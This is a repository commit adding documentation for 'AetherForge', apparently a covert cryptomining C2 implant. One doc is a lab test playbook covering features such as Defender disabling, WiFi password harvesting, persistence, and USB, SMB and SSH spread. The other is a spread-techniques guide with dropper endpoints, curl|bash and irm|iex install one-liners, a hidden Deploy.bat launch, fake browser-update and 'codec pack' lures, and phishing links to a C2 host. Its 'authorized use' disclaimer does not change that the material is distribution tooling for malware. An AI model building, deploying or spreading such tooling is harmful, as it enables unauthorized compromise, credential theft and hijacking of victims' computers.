feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
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docs/E2E_VALIDATION.md
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docs/E2E_VALIDATION.md
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# Secure Local Payload Validation
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End-to-end validation of a forged AetherForge agent **without risking production keys or your daily driver**. This playbook recommends one primary path and tiered alternatives.
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---
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## Verdict: Docker Windows vs Disposable VM
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| Environment | Server | Linux agent | Windows agent (full payload) |
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|-------------|--------|-------------|------------------------------|
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| **Host + Hyper-V VM** (recommended) | ✅ `devrun.bat` on host | ✅ optional WSL2 VM | ✅ real Win32, WMI, USB, desktop, GPU |
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| **Linux Docker** | ✅ Go binary in container | ✅ partial C2 + mining | ❌ cannot compile/run Windows agent features |
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| **Docker Desktop Windows containers** | ⚠️ awkward (Server Core image) | N/A | ❌ **poor fit** — see below |
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### Why not Docker Windows for full payload tests?
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Windows containers run on **Windows Server Core** (or similar) with a different kernel contract than desktop Windows:
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- **No interactive desktop** — screenshots, clipboard, and many PowerShell UI calls fail or return empty.
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- **WMI USB subscriptions, autorun.inf, LNK spread, Defender tampering** — require desktop-class Windows and often admin on a real session.
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- **GPU mining (T-Rex / TeamRedMiner)** — no practical NVIDIA/AMD passthrough in Windows containers.
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- **USB propagation** — container cannot see host removable drives the way a VM or bare metal can.
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- **WinRM / SMB lateral spread** — needs a multi-machine lab network, not an isolated container namespace.
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**Honest recommendation:** use **Docker/Linux only for server + automated CI**. For **full Windows payload validation**, use a **disposable Hyper-V (or VMware) Windows 10/11 VM** — or a dedicated second physical “burner” PC — then **revert a snapshot** when done.
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---
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## Tiered Test Matrix
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### Tier 0 — Mining stack only (no C2, no payload)
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Proves RandomX + pool worker + optional live Stratum **on the dev machine**.
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```powershell
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cd agent
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go run ./cmd/mine-validate -seconds 20 -threads 2
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```
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| Validates | Does not validate |
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|-----------|-------------------|
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| RandomX engine, pool workers, live pool login | C2 WebSocket, forge bake, persistence, spread |
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> **Note:** `mine-validate` may spam `[miner] hash error: randomx VM not initialized` during the multi-threaded pool phase while still reporting non-zero H/s and exiting 0. Treat non-zero hashrate + exit 0 as pass; investigate if exit code is 1.
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### Tier 1 — Automated CI (no real agent)
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```bat
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test.bat
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```
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Or faster (skip builds + Playwright):
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```powershell
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.\scripts\test-suite.ps1 -SkipBuild -SkipE2E
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```
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| Phase | Coverage |
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|-------|----------|
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| Go server + agent unit/integration tests | API, forge, auth, pool, fusion |
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| Vitest | Dashboard forms, preflight, offline gating |
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| Playwright (`-SkipE2E` off) | Login smoke, mocked fleet UI |
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Also with server already running:
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```powershell
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.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
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```
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### Tier 2 — Server + Linux agent (same host, Linux VM, or Docker)
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Good for **C2 path**, basic recon, mining install, systemd persistence — **not** Windows-only ops.
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**Option A — Docker (isolated bridge, recommended for CI)**
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```bash
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docker compose -f docker/docker-compose.yml up --build
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```
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- Server on host port **18989**; dashboard `testuser` / `testpass` (see `docker/data/users.json`).
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- Test wallet in `docker/data/config.json` and `docker/agent-builtin.go` (see E2E test address in security rules above).
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- Agent container has **no internet egress** — mines via server-broadcast jobs only.
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- RandomX is pure Go (`go-randomx`); agent image needs **no CGO**.
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- Verify: Fleet Roster shows `docker-e2e-linux`; hashrate fields populate after ~30s.
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- Teardown: `docker compose -f docker/docker-compose.yml down --rmi local -v`
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Full notes: [`docker/README.md`](../docker/README.md).
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**Option B — WSL2 / Linux VM**
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1. Start server on host: `devrun.bat`
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2. Forge **Linux amd64** worker pointing at `http://<host-lan-ip>:8989` (VM must reach host; bind server to LAN or use Hyper-V Default Switch IP).
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3. Run agent in WSL2 or a small Linux VM.
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4. Crucible: `sysinfo`, `pause`/`resume`, `get_log`, `list_dir` (Linux file ops).
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### Tier 3 — Full Windows payload (primary E2E path)
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**Topology**
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```
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┌─────────────────────────────┐ ┌──────────────────────────────┐
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│ Host PC (control) │ LAN │ Disposable Win10/11 VM │
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│ devrun.bat → :8989 │◄───────►│ forged test agent.exe │
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│ data/ logs, builds, DB │ only │ snapshot "clean" → revert │
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└─────────────────────────────┘ └──────────────────────────────┘
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```
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**Security rules**
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1. **Dedicated test data dir** — e.g. `data-e2e\` with fresh `users.json`; never copy production `data\`.
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2. **Test wallet** — use the repo's recommended E2E Monero address (public test wallet, not for production):
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`85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm`
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Seeded automatically in `data-e2e/config.json` by `scripts/e2e-validate.ps1` and in `docker/data/config.json` for Tier 2 Docker. Do not use your production wallet.
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3. **Rotate fleet secret** after tests if you ever pointed at shared `data\`.
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4. **No internet egress from VM** (optional but ideal) — allow only host IP:8989 + pool Stratum if testing live shares.
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5. **Snapshot before forge run** — revert VM when finished (“toss the machine”).
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---
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## Step-by-Step: Tier 3 Playbook
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### 1. Prepare isolated server data
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```powershell
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$env:AETHERFORGE_E2E_USER = "testuser"
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$env:AETHERFORGE_E2E_PASS = "testpass"
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New-Item -ItemType Directory -Force -Path ".\data-e2e" | Out-Null
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'{"testuser":"testpass"}' | Set-Content ".\data-e2e\users.json" -Encoding UTF8
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```
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Start server against that directory (from repo root):
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```bat
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bin\miner-server.exe -port 8989 -data .\data-e2e
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```
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Or use `devrun.bat` after pointing `-data` at `data-e2e` (or run `.\scripts\e2e-validate.ps1 -PrepareOnly`).
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### 2. Calibrate for validation
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In **Calibrate** (Settings):
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| Setting | Test value |
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|---------|------------|
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| Server URL | `http://<host-ip>:8989` (must match what the VM can reach) |
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| Wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` (or match `data-e2e/config.json`) |
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| `file_logging` | **true** (required for `get_log` / `data-e2e\logs\`) |
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| Stealth mode | **off** for first pass (easier debugging) |
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| USB / share / auto-spread | **off** until spread is explicitly under test |
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| Remote aggressive ops | **on** only in a VM snapshot you will revert |
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| `agent_kill_after_days` | optional safety fuse (e.g. `1`) |
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### 3. Forge a test worker
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In **Forge**:
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- Target OS: **Windows amd64**
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- Worker name: `e2e-validate`
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- Enable only features you intend to test this session
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- Download `e2e-validate.exe` + paired `uninstall-e2e-validate.ps1`
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Or use the orchestrator script (API forge) after server is up:
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```powershell
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.\scripts\e2e-validate.ps1 -ForgeAgent
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```
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### 4. Hyper-V VM setup (Windows)
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```powershell
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# Example: Hyper-V Manager or PowerShell
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# 1. Create Gen2 VM, 4 GB RAM, 40 GB disk
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# 2. Internal or Default Switch network (host reachable)
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# 3. Take snapshot named "clean-pre-agent"
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# 4. Copy forged exe into VM (shared folder or ISO)
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```
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**Before running the agent:** snapshot name recorded, VM has no personal data, Defender policy acceptable for your lab.
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### 5. Run agent in VM
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1. Execute forged exe once (install + connect).
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2. Confirm agent appears on dashboard **Fleet Roster** (online).
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3. Check server console for `[agent] authenticated`.
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### 6. Crucible command checklist
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Run against the test agent. Tick as you go.
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**Core / mining**
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- [ ] `sysinfo` — hostname, cores, RAM
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- [ ] `pause` / `resume` / `restart` — miner control
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- [ ] `connectivity_probe` — C2 + pool reachability JSON
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- [ ] `get_log` — tail returns `miner.log` lines
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**Recon (Windows)**
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- [ ] `ps`, `netstat`, `listen_ports`
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- [ ] `ipconfig`, `wifi`, `posture`, `patch_status`
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- [ ] `screenshot` (needs interactive logged-in desktop)
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- [ ] `camera_list` / `camera_snapshot` (needs ffmpeg + camera)
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**Files (Windows)**
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- [ ] `list_dir` — `C:\Users\<user>\`
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- [ ] `read_file` — small text file
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- [ ] `upload` / `download` round-trip
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**Power / lifecycle**
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- [ ] `exec` / `powershell` — benign echo command
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- [ ] `reboot_machine` — only if snapshot revert planned
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- [ ] `uninstall` or run `uninstall-*.ps1` — M-10 checklist
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**Advanced (enable in forge + revert snapshot after)**
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- [ ] `get_wifi_passwords`, `defender_off`, `firewall_*`
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- [ ] USB spread — second USB passthrough device
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- [ ] `spread_now` / LAN spread — requires second lab VM
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### 7. Collect logs
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| Source | Path / action |
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|--------|----------------|
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| Server stdout | `devrun.bat` window |
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| Server agent log cache | `data-e2e\logs\<agent-id>.log` |
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| Agent on disk | `%LOCALAPPDATA%\<install-dir>\miner.log` |
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| Dashboard | Fleet → Remote Control → **Fetch Log** |
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| API | `GET /api/v1/agents/{id}/log?refresh=1` |
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```powershell
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Get-ChildItem ".\data-e2e\logs\"
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Get-Content ".\data-e2e\logs\<agent-id>.log" -Tail 100
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```
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### 8. Teardown (“toss the machine”)
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1. **VM:** Hyper-V → **Revert to snapshot** `clean-pre-agent` (or delete VM).
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2. **Host:** stop server; archive or delete `data-e2e\` if no longer needed.
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3. **Network:** remove any temporary firewall rules allowing VM→host:8989.
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4. **Secrets:** if production `data\` was ever used, rotate fleet secret in Calibrate.
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---
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## Quick orchestration
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```powershell
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# Automated tiers 0–1 + instructions for tier 3
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.\scripts\e2e-validate.ps1
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# Tier 0 only
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.\scripts\e2e-validate.ps1 -SkipAutomatedTests -SkipServerCheck
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# Prepare test data + print checklist (no forge)
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.\scripts\e2e-validate.ps1 -PrepareOnly
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```
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---
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## What each existing tool covers
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| Tool | Tier | Scope |
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|------|------|-------|
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| `agent/cmd/mine-validate` | 0 | Mining only |
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| `test.bat` / `scripts/test-suite.ps1` | 1 | Full automated suite |
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| `scripts/smoke-test.ps1` | 1 | REST B-01–B-10 |
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| `server/web/e2e/*.spec.ts` | 1 | Dashboard smoke (mocked WS) |
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| `docs/TEST_RESULTS.md` | 1–3 | Matrix IDs; M-01–M-09 manual |
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| `devrun.bat` | 2–3 | Build + launch control server |
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| Forge + burner VM | 3 | Full payload |
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---
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## Linux vs Windows agent capabilities (validation scope)
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| Feature | Windows | Linux | macOS |
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|---------|---------|-------|-------|
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| RandomX CPU mining + dashboard hashrate | ✅ | ✅ | ✅ |
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| GPU RVN mining | ✅ | stub (detect only) | stub |
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| Screenshot | ✅ (GDI+) | ✅ (scrot/import/gnome-screenshot) | ✅ (screencapture) |
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| Camera | ✅ (ffmpeg) | ✅ (V4L2/ffmpeg/fswebcam) | stub |
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| Clipboard | ✅ | ✅ (xclip/pbpaste) | ✅ (pbpaste) |
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| File browser Crucible | ✅ | ✅ | ✅ |
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| Posture / syscheck | ✅ (WMI) | ✅ (ufw/systemd/apt) | partial |
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| Firewall aggressive ops | ✅ (netsh) | ✅ (ufw/iptables) | stub |
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| USB / WMI spread | ✅ | ❌ | ❌ |
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| SMB / WinRM spread | ✅ | ❌ | ❌ |
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| SSH lateral spread | ❌ | ✅ | ✅ |
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| WiFi password harvest | ✅ | stub | stub |
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| Defender off | ✅ | N/A (returns error) | N/A |
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| systemd / LaunchAgent persistence | — | ✅ | ✅ |
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| Idle-mode mining (CPU % sample) | ✅ | ✅ (fixed: /proc/stat) | ✅ (sysctl kern.cp_time) |
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Use **Tier 3 Windows VM** when validating spread, GPU, screenshot, or aggressive ops. Use **Tier 2 Linux** for faster C2 regression on recon + mining.
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---
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## References
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- Automated test phases: `tests/README.md`
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- Manual matrix IDs: `docs/TEST_RESULTS.md` (M-01–M-10)
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- Known gaps: `PROBLEMS.md`
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docs/SPREAD_TECHNIQUES.md
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docs/SPREAD_TECHNIQUES.md
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# Web-Mediated Spread Techniques (Research Summary)
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> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
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---
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## What Does NOT Work Anymore (Be Honest)
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| Technique | Status | Why |
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|-----------|--------|-----|
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| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
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| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). |
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| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. |
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| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
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| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |
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**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.
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---
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## Technique Matrix
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### Owned site (you control origin)
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| Technique | Feasibility | Detection risk | AetherForge mapping |
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|-----------|-------------|----------------|---------------------|
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| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
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| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
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| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
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| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
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| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
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| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
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| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
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| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |
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### Third-party platforms
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|
||||
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
||||
|-----------|-------------|----------------|---------------------|
|
||||
| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). |
|
||||
| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | Med–High (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). |
|
||||
| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
|
||||
| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
|
||||
| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
|
||||
| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |
|
||||
|
||||
### Social engineering funnel (email / ads → site → file)
|
||||
|
||||
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
||||
|-----------|-------------|----------------|---------------------|
|
||||
| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
|
||||
| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
|
||||
| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
|
||||
| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
|
||||
|
||||
### Server-specific (endpoints: Linux/macOS/Windows servers)
|
||||
|
||||
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
||||
|-----------|-------------|----------------|---------------------|
|
||||
| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh` → `/get?os=linux` + spread-kit unzip path. |
|
||||
| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
|
||||
| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
|
||||
| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
|
||||
| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |
|
||||
|
||||
---
|
||||
|
||||
## AetherForge Stack: Has vs Needs
|
||||
|
||||
### Already built
|
||||
|
||||
- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
|
||||
- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
|
||||
- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
|
||||
- **Campaign analytics:** `campaign_hits` table, `GET /api/v1/emberwake/campaigns`, agent `campaign` field on register
|
||||
- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
|
||||
- **Spread funnel dashboard:** install connects by build (7d)
|
||||
|
||||
### In progress / gaps
|
||||
|
||||
| Gap | Emberwake / web-publisher role |
|
||||
|-----|-------------------------------|
|
||||
| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
|
||||
| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
|
||||
| No **fake-update** HTML kit | SocGholish-style lander |
|
||||
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
|
||||
| No **OAuth redirect** helper | Entra app registration docs only |
|
||||
| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
|
||||
|
||||
---
|
||||
|
||||
## Five Recommended Plays — Sites You Own
|
||||
|
||||
Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
|
||||
|
||||
1. **First-party install docs page (servers)**
|
||||
Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.
|
||||
|
||||
2. **Spread-kit web publisher (static lander)**
|
||||
Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.
|
||||
|
||||
3. **Fusion bundle as “media/tool download”**
|
||||
Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.
|
||||
|
||||
4. **Campaign-tagged fake-update page (endpoints)**
|
||||
Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.
|
||||
|
||||
5. **Email → owned lander → pinned build**
|
||||
Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.
|
||||
|
||||
---
|
||||
|
||||
## Key References
|
||||
|
||||
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
|
||||
- [MITRE T1505.003 Web Shell](https://attack.mitre.org/techniques/T1505/003/)
|
||||
- [MITRE T1608.006 SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/)
|
||||
- [SocGholish / FakeUpdates (Trend Micro 2025)](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html)
|
||||
- [Microsoft OAuth redirect abuse (Mar 2026)](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/)
|
||||
- [Edge/Chrome download security](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions)
|
||||
- [curl|bash detection](https://github.com/Stijn-K/curlbash_detect)
|
||||
- [Cloudflare Pages phishing abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing)
|
||||
- [npm Shai-Hulud supply chain](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/)
|
||||
|
||||
---
|
||||
|
||||
*Generated from open-source threat reporting and AetherForge codebase audit. No commit.*
|
||||
Reference in New Issue
Block a user